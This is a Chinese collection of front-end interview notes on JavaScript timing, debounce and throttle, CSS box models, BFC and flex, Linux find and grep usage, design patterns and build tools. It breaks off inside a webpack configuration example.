前端常见的面试题

常见的前端算法题

见:前端算法集合


Event Loop

参考:掘金 彻底弄懂 JavaScript 执行机制

任务分为:同步任务、异步任务
异步任务分为:宏任务、微任务


算法的时间与空间复杂度

参考:知乎 算法的时间与空间复杂度

常用的时间复杂度(从上只下越来越复杂):

  • 常数阶 O(1)
  • 对数阶 O(logN)
  • 线性阶 O(n)
  • 线性对数阶 O(n * logN)
  • 平方阶 O(n^2)
  • 立方阶 O(n^3)
  • k次方阶 O(n^k)
  • 指数阶 O(2^n)

常用的空间复杂度:

  • 常数阶 O(1)
  • 线性阶 O(n)
  • 平方阶 o(n^2)

SetTimeout的时间什么不准

js是单线程,先执行同步主线程,再执行异步任务队列。主线程的耗时会影响setTimeout的执行时间。它表述的是一个最小延迟时间,而非精准时间。

1
2
3
setTimeout(() => {
// xxx
}, 0)

根据HTML5的规范,定时器被多次嵌套后,最小为4毫秒。

另外,setTimeout 本身也可以通过递归实现 setInterval 的功能,setTimeout 和 setInterval 都有可能出现丢帧现象,原因时步调和 requestAnimationFrame 的步调不一致,requestAnimationFrame 是按照屏幕刷新率来进行更新的,一旦两者时间错开,则肯能出现丢帧现象。


函数防抖和函数节流

参考:csdn 前端性能——JS的防抖和节流
其他:segmentfault 7分钟理解JS的节流、防抖及使用场景

函数节流和函数防抖,两者都是优化高频率执行js代码的一种手段。

函数防抖 debounce

函数防抖 是指当持续触发事件时,一定时间段内没有再触发事件,事件处理函数才会执行一次,如果设定的时间到来之前,又一次触发了事件,就重新开始延时。比如生活中的坐公交,就是一定时间内,如果有人陆续刷卡上车,司机就不会开车。只有别人没刷卡了,司机才开车。

如下例,持续触发scroll事件时,并不执行handle函数,当1000毫秒内没有触发scroll事件时,才会延时触发scroll事件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function debounce(fn, delay) {
var timeout = null;
// 此处只执行一次
return function() {
// var context = this
// var args = arguments
// 此处会一直被执行
clearTimeout(timeout);
// fn.apply(context, args) // 将上下文和参数传给handle
timeout = setTimeout(fn, delay);
}
}
// 处理函数
function handle() {
console.log(Math.random());
}
// 滚动事件
window.addEventListener('scroll', debounce(handle, 1000));

// 注意:
// window.addEventListener('scroll', debounce);
// window.addEventListener('scroll', function () {debounce(handle, 1000) });
// 这两种均会导致debounce一直被执行

// 另外addEventListener第二个参数还支持传入object:
// window.addEventListener('scroll', { handleEvent: function () {} });

运行结果如下:

函数节流 throttle

函数节流 是指当持续触发事件时,保证一定时间段内只调用一次事件处理函数。通俗解释就比如我们水龙头放水,阀门一打开,水哗哗的往下流,秉着勤俭节约的优良传统美德,我们要把水龙头关小点,最好是如我们心意按照一定规律在某个时间间隔内一滴一滴的往下滴。

如下例,持续触发scroll事件时,并不立即执行handle函数,每隔1000毫秒才会执行一次handle函数。

  • 定时器方案

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    var throttle = function(fn, wait) {
    var timer = null;
    return function() {
    // var context = this;
    // var args = arguments;
    if (!timer) {
    timer = setTimeout(function() {
    fn();
    // fn.apply(context, args);
    timer = null;
    }, wait);
    }
    }
    }
    function handle() {
    console.log(Math.random());
    }
    window.addEventListener('scroll', throttle(handle, 1000));
  • 时间戳方案

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    var throttle = function(fn, wait) {
    var prev = Date.now();
    return function() {
    // var context = this;
    // var args = arguments;
    var now = Date.now();
    if (now - prev >= wait) {
    fn();
    // fn.apply(context, args);
    prev = Date.now();
    }
    }
    }
    function handle() {
    console.log(Math.random());
    }
    window.addEventListener('scroll', throttle(handle, 1000));

运行结果如下:


IE盒模型和标准盒模型

IE盒模型


IE 盒模型包括 marginborderpaddingcontent,width 包含了 contentborderpading,即使用 borderpadding 不会撑大 width。

标准(W3C)盒模型


W3C 盒子模型包括 marginborderpaddingcontent,width 不包含 borderpading,即使用 borderpadding 会撑大 width。

例如,一个元素的样式如下:

1
2
3
4
5
6
7
div{
margin: 20px;
border: 10px;
padding: 5px;
width: 200px;
height: 50px;
}

W3C 盒模型下:
盒模型占用的宽度为:20*2 + 10*2 + 5*2 + 200 = 270px;
盒子实际宽度为:10*2 + 5*2 + 200 = 230px;

IE 盒模型下:
盒模型占用的宽度为:20*2 + 200 = 240px;
盒子实际宽度为:200px;

实际开发过程中,我们经常会使用 box-sizing 来改变盒模型,常见的有:

1
2
3
4
5
6
div{
box-sizing: content-box; /* 默认W3C盒模型,width只极算content */

/* 实际开发过程中会经常使用下面这种 */
box-sizing: border-box; /* 使用IE盒模型,width计算到border,这种模式下先固定宽度,然后padding和border不会对元素产生影响 */
}


css 实现响应式的九宫格布局

1
2
3
4
5
6
7
8
9
10
11
<div class="main">
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
<div>7</div>
<div>8</div>
<div>9</div>
</div>

使用百分比实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
* { 
padding: 0; margin: 0;
box-sizing: border-box; /* 重要 */
}
.main {
background-color: #fff;
outline: 1px solid #00;
width: 100%;
overflow: hidden;
padding: 0 100px; /* 左右各间距100px */
}
.main>div {
width: 33.33%;
/* padding设置百分比时,是根据父级的宽度来计算的 */
padding: 16.67% 0;
background-color: #E78326;
border-radius: 3%;
float: left;
/* 浮动自动换行,也可以给main设置flex替代 */
border: 1px solid #000;

/* 内部div增加居中的文字 */
height: 0;
display: flex;
justify-content: center;
align-items: center;
}

使用 vw + calc 实现(兼容性不佳):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
*{
margin: 0;
padding: 0;
box-sizing: border-box;
}
.main{
width: 100%;
padding: 0 150px;
overflow: hidden;
}
.main>div{
width: calc((100vw - 300px) / 3);
height: calc((100vw - 300px) / 3);
border: 1px solid #f00;
float: left;
display: flex;
justify-content: center;
align-items: center;
}


BFC

BFC概念

BFC(Block formatting context)直译为“块级格式化上下文”,只有块级的盒子参与,内部规定了块级盒子如何布局。

BFC是一个独立的布局环境,其中的元素布局是不受外界的影响。

display属性为block、table、list-item的元素默认会产生BFC。也可以手动创建,如果将一个div(默认为块级元素,即本身拥有BFC)设置为inline-block,会产生一个的BFC。

如何创建BFC

  1. float属性不为none
  2. position属性为absolute或fixed
  3. display为inline-block、flex、inline-flex、table-cell
  4. overflow不为visible

BFC布局特性

  1. 在BFC中,盒子从顶端开始垂直往下排列
  2. 盒子垂直方向的间距由margin决定,属于同一个BFC的两个相邻的盒子margin会发生重叠
  3. 在BFC中,每一个盒子的左外边缘(margin-left)会触碰到容器的左内边缘(padding-left
  4. BFC的区域不会与浮动盒子产生交集,而是紧贴浮动边缘
  5. 在计算BFC的高度时,也会检测浮动或定位的盒子高度

BFC的作用

  1. 清除浮动
    只要把父元素设置为BFC,就可以清除子元素的浮动了,如:常使用 overflow:hidden

    1
    2
    3
    <div>
    <p>1</p>
    </div>
    1
    2
    3
    4
    5
    6
    div{}
    p {
    width: 200px;
    line-height: 100px;
    text-align: center;
    }

    我们可以给div设置以下这些样式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    div{
    /*推荐第一种*/
    overflow: hidden;
    overflow: auto;
    display: flex;

    /* 可以解决p的浮动问题,但同时增加了div自己的浮动问题 */
    float: left;

    /* 可以解决p的浮动问题,但是同时让div没有宽度,只是被p给撑起来了 */
    display: inline-block;
    display: table-cell;
    display: inline-flex;
    position: absolute;
    position: fixed;
    }
  2. 解决外边距合并问题
    只要创建不属于同一个BFC,外边距就不会发生合并,如:

    1
    2
    <p>1</p>
    <p class="p2">2</p>
    1
    2
    3
    4
    5
    6
    7
    p {
    width: 200px;
    line-height: 100px;
    text-align: center;
    background-color: #f00;
    margin: 30px;
    }

    有两个p(块级元素,本身拥有同一个BFC),都设置 marign 时,默认p1的 marign-bottom 和p2的 margin-top 会发生合并,只表现出一个30px的间距。

    如何解决呢?可以让p2产生一个新的BFC,只要不p1、p2不属于同一个BFC,margin 就不会发生合并。

    1
    2
    3
    4
    5
    6
    7
    .p2{
    float: left;
    display: inline-block;
    display: inline-flex;
    position: absolute;
    position: fixed;
    }

    以上这些属性都可以直接作用于某个盒子本身,然后产生一个新的BFC。当然也可以有更多的办法:

    1
    2
    3
    4
    <p>1</p>
    <div>
    <p>2</p>
    </div>

    使用div包裹p2,然后给div这个父级设置样式,这个时候就有了更多的选择,任选一种即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    div{
    float: left;
    display: inline-block;
    display: inline-flex;
    position: absolute;
    position: fixed;
    /* 除了上面这些,还可添加这些作用于父级的样式 */
    overflow: hidden;
    overflow: auto;
    display: flex;
    display: table-cell;
    }
  3. 自适应两列布局
    根据特性3: 每一个盒子的左外边缘(marigin)会触碰容器的左内边缘(border-left),即使是浮动元素。

    1
    2
    <div class="left">LEFT</div>
    <div class="right">RIGHT</div>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    body{
    border: 5px solid #f00;
    }
    .left {
    width: 100px;
    height: 150px;
    float: left;
    background: #0f0;
    text-align: center;
    line-height: 150px;
    font-size: 20px;
    margin: 5px;
    }
    .right {
    height: 300px;
    background: #00f;
    text-align: center;
    line-height: 300px;
    font-size: 40px;
    }

    从下图可以看出:left的margin-left外边缘(蓝色margin 5px左侧)和父级容器(body)的padding-left(红色border 5px内侧)内边相触碰。

    再根据特性4:BFC的区域不会与浮动盒子产生交集,而是紧贴浮动边缘。
    让right单独成一个BFC,添加样式:

    1
    2
    3
    .right{
    overflow: hidden;
    }

    这样就实现两列布局了,并且right布局可以自适应


flex布局

  1. flex-grow: 定义项目的放大比例
  • 定义项目的放大比例,默认为0,即如果存在剩余空间,也不放大。
  • 如果所有项目的 flex-grow 属性都为1,则它们将等分剩余空间(如果有的话)。
  • 如果一个项目的 flex-grow 属性为2,其他项目都为1,则前者占据的剩余空间将比其他项多一倍。
  • 如果只有一个项目设置 flex-grow 大于0,即该项目占满剩余空间。通常使用该特性来实行两列或三列自适应布局。
1
2
3
4
5
<div class="parent">
<div class="child1">1</div>
<div class="child2">2</div>
<div class="child3">3</div>
</div>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.parent {
width: 100%;
height: 200px;
display: flex;
}
.child1 {
width: 80px; /* 左侧固定了80 */
height: 100px;
background-color: red;
}
.child2 {
/*width: 140px;*/ /* 无需设置宽度 */
height: 150px;
background-color: green;
flex-grow: 1; /* 中间设置flex-grow大于1即可占满中间区域 */
}
.child3 {
width: 100px; /* 右侧固定了100 */
height: 120px;
background-color: blue;
}
  1. flex-shrink: 定义了项目的缩小比例
  • 定义项目的缩小比例,默认为1,即如果空间不足,该项目将等比缩小(作用类似于所有的项目设置flex-grow: 1)。
  • 如果所有项目的 flex-shrink 属性都为1,当空间不足时,都将等比例缩小。
  • 如果所有项目的 flex-shrink 属性都为0,当空间不足时,不缩小,自动超出。
  • 如果一个项目的 flex-shrink 属性为0,其他项目都为1,当空间不足时,前者(flex-shrink: 0)不缩小。
1
2
3
4
5
<div class="parent">
<div class="child1">1</div>
<div class="child2">2</div>
<div class="child3">3</div>
</div>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.parent {
width: 100%;
height: 200px;
display: flex;
}
.child1 {
width: 80px; /* 左侧固定了80 */
height: 100px;
background-color: red;
flex-shrink: 0; /* 不进行缩放,相当于固定宽度 */
}
.child2 {
width: 100%; /* 中间宽度设置100% */
height: 150px;
background-color: green;
flex-shrink: 1; /* 默认为1,进行等比缩放 */
}
.child3 {
width: 100px; /* 右侧固定了100 */
height: 120px;
background-color: blue;
flex-shrink: 0; /* 不进行缩放,相当于固定宽度 */
}
  1. flex-basis: 定义了在分配多余空间之前,项目占据的主轴空间
  • 表示在item被放入flex容器之前的大小,也就是item的理想或者假设大小,但是并不是其真实大小,其真实大小取决于flex容器的宽度。
  • 类似width
  1. flex: flex-grow, flex-shrink 和 flex-basis的简写

  2. 案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<div>
<div>1</div>
<div>2</div>
<div>3</div>
</div>

外层div=1000px,display: flex
考察缩小:
div1(flex: 3 3 400px)=> width = 400 - (3 / 5 * (400 + 400 - 600)) = 280px
div2(flex: 2 2 400px)=> width = 400 - (2 / 5 * (400 + 400 - 600)) = 320px
div3(flex: 0 0 400px)=> width = 400px

如果div=1500px呢?
考察放大:
div1(flex: 3 3 400px)=> width = 400 + (3 / 5 * (1500 - 400 - 800)) = 580px
div2(flex: 2 2 400px)=> width = 400 + (2 / 5 * (1500 - 400 - 800)) = 520px
div3(flex: 0 0 400px)=> width = 400px


先根据 flex-basis 值确定是超出(需缩小)还是不足(需放大),然后计算得到剩余的空间(总空间-固定空间),然后再计算占据的比例,最后再用原值进行加减

linux 查找文件的命令

find

基本格式:find path expression

  1. 按照文件名查找
    • find / -name httpd.conf  #在根目录下查找文件httpd.conf,表示在整个硬盘查找
    • find /etc -name httpd.conf  #在/etc目录下文件httpd.conf
    • find /etc -name '*srm*'  #使用通配符*(0或者任意多个)。表示在/etc目录下查找文件名中含有字符串‘srm’的文件
    • find . -name 'srm*'   #表示当前目录下查找文件名开头是字符串‘srm’的文件
  2. 按照文件特征查找
    • find / -amin -10   # 查找在系统中最后10分钟访问的文件(access time)
    • find / -atime -2   # 查找在系统中最后48小时访问的文件
    • find / -empty   # 查找在系统中为空的文件或者文件夹
    • find / -group cat   # 查找在系统中属于 group为cat的文件
    • find / -mmin -5   # 查找在系统中最后5分钟里修改过的文件(modify time)
    • find / -mtime -1   #查找在系统中最后24小时里修改过的文件
    • find / -user fred   #查找在系统中属于fred这个用户的文件
    • find / -size +10000c  #查找出大于10000000字节的文件(c:字节,w:双字,k:KB,M:MB,G:GB)
    • find / -size -1000k   #查找出小于1000KB的文件
  3. 使用混合查找方式查找文件
    • find /tmp -size +10000c -and -mtime +2   #在/tmp目录下查找大于10000字节并在最后2分钟内修改的文件
    • find / -user fred -or -user george   #在/目录下查找用户是fred或者george的文件文件
    • find /tmp ! -user panda  #在/tmp目录中查找所有不属于panda用户的文件

grep

基本格式:find expression

  1. 主要参数
    [options]主要参数:
    -c:只输出匹配行的计数。
    -i:不区分大小写
    -h:查询多文件时不显示文件名。
    -l:查询多文件时只输出包含匹配字符的文件名。
    -n:显示匹配行及行号。
    -s:不显示不存在或无匹配文本的错误信息。
    -v:显示不包含匹配文本的所有行。

pattern正则表达式主要参数:
\: 忽略正则表达式中特殊字符的原有含义。
^:匹配正则表达式的开始行。
$: 匹配正则表达式的结束行。
\<:从匹配正则表达 式的行开始。
>:到匹配正则表达式的行结束。
[ ]:单个字符,如[A]即A符合要求 。
[ - ]:范围,如[A-Z],即A、B、C一直到Z都符合要求 。
.:所有的单个字符。

  • :有字符,长度可以为0。
  1. 实例
  • grep 'test' d*  #显示所有以d开头的文件中包含 test的行
  • grep ‘test’ aa bb cc    #显示在aa,bb,cc文件中包含test的行
  • grep ‘[a-z]\{5\}’ aa   #显示所有包含每行字符串至少有5个连续小写字符的字符串的行
  • grep magic /usr/src  #显示/usr/src目录下的文件(不含子目录)包含magic的行
  • grep -r magic /usr/src  #显示/usr/src目录下的文件(包含子目录)包含magic的行
  • grep -w pattern files #只匹配整个单词,而不是字符串的一部分(如匹配’magic’,而不是’magical’),

css伪类和伪元素的区别

伪类

伪类 用于选择DOM树上元素不同的状态,或者是DOM上无法用简单选择器选择的元素

  • 状态伪类
    状态伪类 是基于元素当前状态进行选择的

    1
    2
    :link  :hover  :active  :visited
    :focus :disabled :enable :checked
  • 结构伪类
    结构性伪类 是css3新增选择器,利用dom树进行元素过滤,通过文档结构的互相关系来匹配元素,能够减少class和id属性的定义,使文档结构更简洁。

    1
    2
    :first-child  :last-child  :nth-child(n)  :nth-last-child() 
    :empty

伪元素

伪元素 是对元素中的特定内容进行操作,而不是描述状态。(css3中使用::)

1
::first-letter  ::first-line  ::before  ::after  ::selection

注意事项

在css3中,为了一个规范,我们使用 :表示伪类,:: 表示伪元素,但是在css2中定义的伪元素,用来 ::: 都是可以的。如 :before::before 作用是一样的

伪元素的用途

  1. 清除浮动

    1
    2
    3
    4
    5
    6
    /* 父级 */
    .clear:after {
    content: '';
    display: block;
    clear: both;
    }
  2. 画中间带文字的分割线

    1
    2
    3
    4
    5
    6
    7
    .spliter::before, .spliter::after {
    content: '';
    display: inline-block;
    border-top: 1px solid black;
    width: 200px;
    margin: 5px;
    }
  3. 形变的布局(上下、左右不一样)
    原理同2

  4. 增大点击热区

    1
    2
    3
    4
    5
    6
    7
    8
    .btn::before {
    content: "";
    position: absolute;
    top: -10px;
    right: -10px;
    bottom: -10px;
    left: -10px;
    }

伪元素的本质是在不增加dom结构的基础上添加的一个元素,在用法上跟真正的dom无本质区别。普通元素能实现的效果,伪元素都可以。有些用伪元素效果更好,代码更精简。


script defer 和 async

无defer和async

当没有 deferasync 的时候,js会按照顺序来渲染和执行,如:

1
2
3
4
5
6
7
<html>
<head></head>
<body>
<script src="a.js"></script>
<p>1234</p>
</body>
</html>

a.js:

1
debugger

debugger 执行的时候,页面还未渲染 p 段落。

有defer

defer 属性标注的脚本是 延迟脚本,使得浏览器延迟脚本的执行,也就是说,脚本会被 异步下载 但是不会被执行,直到文档的载入和解析完成,并可以操作,脚本才会被执行。
延迟脚本 会按他们在文档里的出现顺序执行

有async

async 属性标注的脚本是 异步脚本,即异步下载脚本时,不会阻塞文档解析,但是一旦下载完后,立即执行,阻塞文档解析。
异步脚本 在它们载入后执行,但是不能保证执行顺序。

图例


绿色线 代表 HTML 解析,蓝色线 代表网络读取 JS红色线 代表 JS 执行时间。


静态(词法)作用域语言 和 动态作用域语言

  • 静态作用域语言:指变量的作用域是在代码编译阶段确定的,又称之为词法作用域。JavaScript 是静态作用域。
  • 动态作用域语言:指变量作用域是在代码执行阶段确定的。

理解 JavaScript 静态作用域的关键在于理解变量的作用域是由使用该变量的源代码位置确定,而不是由调用该变量时候的位置确定。
如下:

1
2
3
4
5
6
7
8
9
var v = "out";
function outside() {
var v = "in";
return inside();
}
function inside() {
return v;
}
outside();

比较

1
2
3
4
5
6
7
8
9
var v = "out";
function outside() {
var v = "in";
function inside() {
return v;
}
return inside();
}
outside();

第一段代码的执行结果是”out”,而第二段代码的执行结果是”in”。


js事件模型

一个事件的发生包含三个过程:

  1. 事件捕获阶段
    事件捕获:当某个元素触发事件,顶层对象document就会发出一个事件流,随着DOM树的节点向目标元素流去。直到到达目标元素,在这个过程中,事件相应的监听函数是不会被触发的。
  2. 事件目标阶段
    当到达目标元素后,执行目标元素相应的事件处理函数,如果没有绑定事件处理函数,则不触发。
  3. 事件冒泡阶段
    从目标元素开始,向顶层元素开始冒泡。途中如果有节点绑定了相应的处理函数,则会被触发。

所有的事件类型都会经历捕获,但只有部分事件会经历事件冒泡,如submit事件就不会被冒泡。

如何阻止冒泡:
W3C: e.stopPropagation()
IE: e.cancelBubble = true

标准的事件监听器如何绑定:

1
2
target.addEventListener(type, listener[, options]); 
target.addEventListener(type, listener[, useCapture]);

第三个参数可以设置为boolean类型(useCapture)或者object类型(options)

useCapture:指定是否在捕获阶段进行处理,默认为false,表示在冒泡阶段处理,为true表示在捕获阶段处理。

options: 包含三个布尔值
1). capture,是否使用事件捕获,同useCapture
2). once,是否只调用一次,会在调用后自动销毁(无需手动removeListener),默认值false
3). passive,如果为true,表示listener永远不会调用preventDefault()方法

例:

1
2
3
4
5
<div class="div1">
<div class="div2">
<button class="btn">点击</button>
</div>
</div>

1
2
3
4
5
6
7
8
9
10
11
12
13
var div1 = document.querySelector('.div1')
var div2 = document.querySelector('.div2')
var btn = document.querySelector('.btn')

div1.addEventListener('click', function () {
console.log('div1')
})
div2.addEventListener('click', function () {
console.log('div2')
})
btn.addEventListener('click', function () {
console.log('btn')
})

先后顺序是怎样的呢?

在js中,分为两个处理方法,捕获和冒泡。
如果是捕获(从外到内):div1、div2、btn,第三个参数设置为true
如果是冒泡(从内到外):btn、div2、div1,第三个参数设置为false(默认)

addEventListenerremoveEventListener 是否一定要成双成对出现?
当DOM元素与事件拥有不同的生命周期时,如果不调用remove,可能会造成内存泄漏(增加了不必要的内存占用)。比如在单页应用中,切换了页面,组件虽然被销毁,但是注册在document上的事件却被保留了下来,白白占用了内存空间。所以成对出现,是最佳实践。


js设计模式

转载:segmentfault JavaScript中常用的设计模式

创建型: 工厂模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 工厂模式:创建对象时不会对客户端暴露创建逻辑,通过使用一个通用的接口来指向新创建的对象,用工厂方法代替new
// 构造函数和创建者分离,对new操作进行了封装
class Creator {
create (name) {
return new Animal(name)
}
}
class Animal {
constructor (name) {
this.name = name
}
}
var creator = new Creator() // 此时不暴露创建逻辑
// 通过使用共同的create接口来指向新创建的对象
var duck = creator.create('Duck')
var chicken = creator.create('Chicken')

创建型: 单例模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 单例模式:一个类只能被实例化一次,提供一个访问类的全局访问点
// 实例如果已经创建,则直接返回

// 使用构造函数来判断
function Head (name) {
if (typeof Head.instance === 'object') {
return Head.instance
}
// 创建实例this
this.name = name
Head.instance = this
return Head.instance
}
var a = new Head()
var b = new Head()
console.log(a === b)


// 使用闭包来判断
var Head = (function () {
// 内部申明一个HeadClass类,外部无法访问
function HeadClass () {}
var instance = null
return function () {
if (instance) {
return instance
}
instance = new HeadClass()
return instance
}
})()
var a = new Head('A')
var b = new Head('B')
console.log(a === b) // true

创建型: 原型模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 原型模式:使用现有的对象来提供新创建新的对象的__proto__,Object.create()
var prototype = {
name: 'Jack',
getName: function () {
return this.name
}
}
var obj = Object.create(prototype, {
job: {
value: 'IT'
}
})
console.log(obj.name, obj.job) // Jack、IT
console.log(obj.getName()) // Jack
console.log(obj)
/*
{
job: 'IT',
__proto__: {
name: 'JACK',
getName: function () {
return this.name
}
}
}
*/

行为型: 迭代器模式/遍历器模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// 迭代器模式: 提供一种方法顺序的访问一个聚合对象中的各个元素
// 通过类创建
class Creator {
constructor (list) {
this.list = list
}
createIterator () {
return new Iterator(this)
}
}
class Iterator {
constructor (creator) {
this.list = creator.list
this.index = 0
}
isDone () {
if (this.index >= this.list.length) {
return true
}
return false
}
next () {
return this.list[this.index++]
}
}
var creator = new Creator([1, 2, 3, 4])
var iterator = creator.createIterator()
console.log(creator.list)
while (!creator.isDone) {
console.log(iterator.next())
// 1
// 2
// 3
// 4
}

// 通过原型链创建
const colors = ['red', 'green', 'blue']
Array.prototype.values2 = function () {
let i = 0;
let items = this;
return {
next() {
const done = i >= items.length;
const value = done ? undefined : items[i++]
return {
value,
done
}
}
}
}
const iterator = colors.values2() // Array Iterator {}
// 调用next(),返回相应的元素值,直到done为true
console.log(iterator.next()) // {value: "red", done: false}
console.log(iterator.next()) // {value: "green", done: false}
console.log(iterator.next()) // {value: "blue", done: false}
console.log(iterator.next()) // {value: undefined, done: true}
console.log(iterator.next()) // {value: undefined, done: true}


// ES6中的迭代器包括:Array、Symbol、Map、Set、NodeList、arguments、typeArray
// 以上有序数据集合都部署了Symbol.iterator属性,常见的包括obj[Symbol.iterator]()、obj.keys()、obj.values()、obj.entries()

行为型: 观察者模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// 观察者模式: 定义对象间的一对多关系,当一个对象的状态发生改变时,所有依赖于它的对象都将得到通知

// 示例: 爸爸、妈妈 观察 宝宝的状态

// 被观察者
class Subject {
constructor (name) {
this.name = name
this.state = ''
this.observers = []
}
// 添加观察者
attach (observer) {
this.observers.push(observer)
}
// 修改状态,通知观察者
setState (state) {
this.state = state
this.observers.forEach((observer) => {
observer.update(this)
})
}
}

// 观察者
class Observer {
constructor (name) {
this.name = name
}
// 观察者收到状态变化,进行状态更新
update (vm) {
console.log(`${this.name} 知道了宝宝的状态是:${vm.state}`)
}
}

const baby = new Subject('宝宝')
const father = new Observer('爸爸')
const mother = new Observer('妈妈')
baby.attach(father)
baby.attach(mother)

// 修改宝宝的状态,爸爸妈妈能够知道
baby.setState('happy')
baby.setState('sad')

行为型: 订阅发布模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// 订阅发布模式: 订阅者(Subscriber)把事件注册(Subscribe)到调度中心,当发布者(Publisher)发布该事件到调度中心,也就是触发事件时,由调度中心统一调度。

// Vue中的 EventBus 就是一个典型的订阅发布模式,先订阅(on/once 定义事件),再发布(emit 执行事件)
this.$on('event', (data) => {})
this.$emit('event', data)


function EventBusClass () {
this.eventObj = {} // 调度中心,管理事件队列
}
EventBusClass.prototype = {
// 订阅消息
on: function (event, fn) {
const vm = this
vm.eventObj[event] = fn
return vm // 链式
},
// 订阅一次消息
once: function (event, fn) {
// vm.eventObj[event] = fn
// vm.off(event)
const vm = this
function helper() {
fn.apply(vm, arguments)
vm.off(event)
}
vm.on(event, helper)
return vm
},
// 发布消息
emit: function (event, msg) {
const vm = this
// 未订阅的忽略
if (!this.eventObj.hasOwnProperty(event)) return
this.eventObj[event](msg)
return vm
},
// 销毁消息
off: function (event) {
const vm = this
// 未订阅的忽略
if (!this.eventObj.hasOwnProperty(event)) return
delete this.eventObj[event]
return vm
}
}

const EventBus = new EventBusClass()
// 订阅
function on_a () {
EventBus.on('click', (data) => {
console.log(data)
})
}
function on_b () {
EventBus.on('dbClick', (data) => {
console.log(data)
})
}
// 订阅一次
function once_a () {
EventBus.once('click', (data) => {
console.log(data)
})
}
function once_b () {
EventBus.once('dbClick', (data) => {
console.log(data)
})
}
// 发布
function emit_a () {
EventBus.emit('click', {a: 1})
}
function emit_b () {
EventBus.emit('dbClick', {b: 1})
}
// 销毁
function off () {
EventBus.off('click')
}
function off_all () {
EventBus.off()
}
// 链式调用
function chain () {
EventBus
.on('mouseup', (data) => {
console.log(data)
})
.emit('mouseup', {c: 1})
}

gulp和grunt的不同

转载:简书 如何看待 Grunt、Gulp 和 Webpack

相信小伙伴们不仅听说过 Gulpwebpack ,还听说过 Grunt。一般都觉得他们都是打包工具,但其实还是有区别的 。更准确的讲,GruntGulp 属于任务流工具Tast Runner , 而 webpack属于模块打包工具 Bundler

  1. Tast Runner

    • Grunt

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      // Gruntfile.js
      module.exports = function(grunt) {
      grunt.initConfig({
      // js格式检查任务
      jshint: {
      src: 'src/test.js'
      }
      // 代码压缩打包任务
      uglify: {}
      });
      // 导入任务插件
      grunt.loadnpmTasks('grunt-contrib-uglify');
      // 注册自定义任务, 如果有多个任务可以添加到数组中
      grunt.regusterTask('default', ['jshint'])
      }
    • Gulp

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      // gulpfile.js
      var gulp = require('gulp');
      var jshint = require('gulp-jshint');
      var uglify = require('gulp-uglify');

      // 代码检查任务 gulp 采取了pipe 方法,用流的方法直接往下传递
      gulp.task('lint', function() {
      return gulp.src('src/test.js')
      .pipe(jshint())
      .pipe(jshint.reporter('default'));
      });

      // 压缩代码任务
      gulp.task('compress'function() {
      return gulp.src('src/test.js')
      .pipe(uglify())
      .pipe(gulp.dest('build'));
      });

      // 将代码检查和压缩组合,新建一个任务
      gulp.task('default', ['lint', 'compress']);
  2. Bundler

    • browserify
      browserify 是早期的模块打包工具,是先驱者,踏实的浏览器端使用 CommonJS 规范(require--module.export)的格式组织代码成为可能。在这之前,因为 CommonJS 与浏览器特性的不兼容问题,更多使用的是 AMDdefined--require)规范,当然后来又发展了ES6模块规范(require--export
      假设有如下模块add.js 和 文件test.js,test.js 使用CommonJS规范导入了模块add.js

      1
      2
      3
      4
      5
      6
      7
      8
      // add.js
      module.exports = function(a, b) {
      return a + b
      };

      // test.js
      var add = require('./add.js');
      console.log(add(1, 2)); // 3

      我们知道,如果直接执行是执行不成功的,因为浏览器无法识别 CommonJS 语法,而 browserify 就是用来处理这个问题的,他将 CommonJS 语法进行装换,在命令行执行功如下:

      1
      browserify test.js > bundle.js

      生成的bundle.js就是已经处理完毕,可供浏览器执行使用的文件,只需要将它插入到 <script> 中即可。

  • webpack
    webpack 是后起之秀,它支持了 AMDCommonJS 类型,通过 loader 机制也可以使用ES6模块格式。还有强大的 code splittingwebpack 是个十分强大的工具,它正在想一个全能型的构建工具发展。
    webpack 通过配置文件 webpack.config.js 进行功能配置,一个配置案例如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
